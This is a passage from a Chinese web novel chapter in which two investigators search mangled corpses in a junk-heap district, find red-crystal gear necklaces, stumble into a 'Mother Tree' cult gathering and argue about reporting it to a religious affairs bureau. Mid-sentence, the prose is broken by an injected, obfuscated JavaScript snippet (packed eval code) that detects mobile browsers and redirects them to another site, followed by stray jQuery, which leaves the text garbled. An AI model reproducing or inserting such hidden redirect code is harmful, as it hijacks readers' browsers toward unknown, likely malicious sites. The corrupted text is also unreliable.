“……” 脚底已血肉模糊,尸体被踩踏得辨不出人形。大片血迹落在铁片、零件、各式各样包装盒,与垃圾融为一体,像是本来就在垃圾上的污渍。 “这是什么?” 姜屿勉强从血肉中挑出一个项链样式的东西,擦掉污迹,一个小小的红色结晶完美与机械结构相结合,分不清是血渍还是结晶的颜色。 玲站在一旁无所事事,强烈拒绝帮姜屿摸索线索。 在血肉中摸索会弄脏她刚更新的机械手臂,看到有线索,凑到姜屿旁边,“和你之前拿着的陈宪松遗物一模一样。” 姜屿不顾血污,每具尸体都戴着个红结晶项链。 她摸索出齿轮,按照木生扭动的方式复制粘贴般扭动齿轮,小小的齿轮顿时变成圆形,正中间镶着一颗红结晶。 玲吹了个口哨,“我们查的方向是对的,是群体作案。” 姜屿比对项链的不同之处,齿轮中的红色结晶更像红宝石,颜色清透,晶莹剔透。 从尸体上搜出来的更像是结晶,暗红色,仔细看去能看见其中的杂质。 这种不同,代表什么? 两人找了个安全的角落,蹲在地上,一同看起姜屿摸到的照片,“垃圾山的人怎么会有绿植?” 花园城一切能从地上长出来的东西都有价无市 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153926|196489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这一句话不是空谈。 连北城区都没有绿植,用的是机械零件做成的假花。 “关键是木生,但我们找不到他。”姜屿苦恼,她们找到的线索都和木生有关,但木生不知所踪。 好不容易找到的线索“啪叽”一下断了。 “先离开这里,我感觉不太好。” 玲摸了摸自己的后脖颈,一手鸡皮疙瘩。 自她在垃圾山中大开杀戒,如影随形的感觉愈发阴冷。 她确定,有人在盯着她们。 离开路上遇到垃圾山的土著,土著面色红润,满满的胶原蛋白。 平静的眼神如深潭,审视两人,直到看到姜屿手中的齿轮项链,镶嵌的红宝石熠熠生辉。 土著眼睛一亮:“母树在上。” 两人的脚步一顿,仔仔细细、上上下下地看了眼说话的土著。 在土著期望的目光下,姜屿试探性地抬起齿轮项链,回了句,“母树在上……?” 两人被拦住,土著贪婪的视线冻在齿轮项链上,热情地邀请他们参加集会。 集会场地简陋,但人很多,衣衫褴褛,但身体营养充足,四肢修长且肌肉强健,奇怪得很。 “我找到了一位大人。” 土著吟唱,饱满的热情和期待顿时引爆人群。 众人纷纷看向姜屿手中高举的红宝石,呼吸急促、面色迷蒙,让出一条小路。 期待着、等待着,目光推搡着姜屿向前。 待姜屿走到中心处,众人围成圆,如同摇摆的海草,双手将红结晶项链捧在胸前,陶醉地唱歌: “不再饥饿,不再寒冷,不再疾病,不再被抛弃;” “在您根须的拥抱里,我们成为兄弟姐妹;” “永恒的家,在身体与静脉中交织;” “至高的国,在宝石与心灵的同辉。” “母树——母树——” 喑哑嗓音不屈地嘶吼。 如此往复,直至人造太阳关闭。 疲劳的众人和旁边的亲人相拥,沉沉睡去。重复的音调听得姜屿昏昏沉沉。 【保持清醒。】 欧若拉好心提醒,声音在姜屿耳边炸开。 姜屿蹑手蹑脚地离开中心。 玲在人群边缘,随手靠在垃圾堆上呼呼大睡。 她推了推玲,不出意料毫无反应。 “还款日期到了。”姜屿幽幽地在玲耳边说道。 玲像是被压制的弹簧,一下子跳起来,“什么!我这个月工资还没发呢!”看到姜屿的脸色,她迟疑地挥挥手,“嘿,姜屿。” “你还记得睡前发生的事吗?”姜屿眼神示意,让玲观察周围。 想起睡前的事,玲神色顿时严肃起来:“我们要尽快上报,第四区禁止传教。” 注意到姜屿完全没有意识到重要性的茫然神色,玲忽然明白甘棠面对自己为什么会头疼。 她无奈解释:“你应该好好看看第四区的治安章程。第四区被官方认可的只有十三位神明,只有祂们的信徒才能建立教堂,自由传教。除此之外,其余传教行为全都是死罪,官方人员可以立刻击毙疑似传教人员,没有追责,不需负责。” “这事麻烦了,宗教管理署肯定要插手。” 玲头疼,她虽然不喜欢南城区的人,但也不喜欢宗教管理署冷酷的行事作风。 姜屿听说过宗教管理署,异常控制署同级。 但里面都是信仰十三位神明的狂热分子,以他们小事化大的能耐,整个垃圾山都要被犁一遍,甚至会波及到整个南城区。 “不上报不就行了?我们先自己查。”姜屿不甚在意。 玲翻了个白眼:“你知道追责吗?” 追责姜屿太熟了,工作没来得及步步留痕的她因为追责被炒鱿鱼,还没有经济补偿,她吃了一个月的老干妈配馒头。 宗教管理署要求所有部门无条件配合其行动,事后追责能长达一两年。 “被发现我俩没有及时上报,我们能被拆开,从身体到灵魂都为伟大的科研事业献身。” 玲皮笑肉不笑,想起宗教管理局的手段打了个寒颤,“我们必须立马上报。” 拍照上传,甘棠的消息立马传来:“等着,我马上到。”